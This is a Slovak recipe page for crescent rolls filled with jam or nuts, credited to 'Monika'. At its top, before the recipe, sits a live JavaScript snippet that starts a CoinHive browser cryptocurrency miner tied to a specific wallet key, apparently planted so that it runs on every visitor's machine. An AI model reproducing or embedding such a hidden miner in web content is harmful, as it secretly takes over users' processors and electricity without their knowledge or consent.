

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqcRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();

Suroviny: 400g múky Promix Uni, 1 Hera, 6 lyžíc kyslého mlieka, práškový a vanilkový cukor na obaľovanie. Všetky suroviny zmiešame a necháme odstáť v chlade, najlepšie 24 hodín. Potom cesto vyvaľkáme a nakrájame na štvorce 5 x 5 cm, naplníme ich lekvárovou, orechovou a alebo inou plnkou. S cestom treba pracovať opatrne, pretože je krehké. Po naplnení rožky stočíme, nepotreté ich pečieme na plechu doružova v stredne vyhriatej rúre. Po upečení rožky obalíme v zmesi práškového a vanilkového cukru.

Sladké pokušenie od Moniky.